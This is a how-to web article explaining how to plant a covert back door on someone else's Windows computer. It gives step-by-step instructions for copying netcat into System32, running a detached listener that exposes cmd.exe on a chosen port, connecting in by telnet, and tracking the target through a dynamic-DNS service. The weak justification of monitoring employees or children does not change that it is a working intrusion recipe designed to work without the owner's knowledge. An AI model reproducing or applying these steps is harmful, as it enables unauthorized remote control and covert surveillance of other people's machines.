How to Create a Back Door

By Margaret Worthington

Updated September 28, 2017

Items you will need

  • Internet access

  • Temporary access to target computer

  • IP address of the target computer

A “back door” into a computer is a hidden way of accessing the computer without the owner's knowledge. While this type of activity is by and large frowned upon, there are situations where you may legitimately need to install a back door on a computer, such as at a workplace (to monitor employees) or at home (to ensure your children are safe online). Before you create a back door, make sure you have the authority and legal standing to do so.

Download Netcat for Windows, a port of the popular Unix program that allows you to read and write information across TCP protocols. This program is free and open-source, so you don't have to pay anyone to use it and you can examine the source code for the program if you wish to do so.

Unzip the program using the Windows Unzip utility to any folder you wish. Unzipping it to the Desktop into a folder called “netcat” will be easy to remember.

Take the “nc.exe” program and copy it onto the target computer that you want to install a back door to. Make sure to put the nc.exe program into the \"C:\Windows\System32\" directory on the target machine.

Open a command prompt by choosing the \"Start\" button, clicking \"Run\" then typing “cmd” and hitting the \"Enter\" key. Use the “cd” command to navigate to the folder where you placed the nc.exe program. The command to do this would be the following: “cd c:\windows\system32.”

Type the following into the command prompt: “nc -d -L -e cmd.exe -p XXX,” where “XXX” is the port number you wish to connect through. Choose something high, such as port 10000 or higher.

On your machine, open a command prompt and type the following command: “telnet X.X.X.X XXX,” where “X.X.X.X” is the IP address of the target computer and “XXX” is the port of the target computer that you opened earlier. This command opens a data link between the two computers, through which you can explore files, run commands and perform other actions.


See resources to download Netcat for Windows. If you want to keep updated tabs on the IP address of the target computer, consider installing a service like DynDNS or No-IP, which will give you a static URL to connect to, instead of an IP address.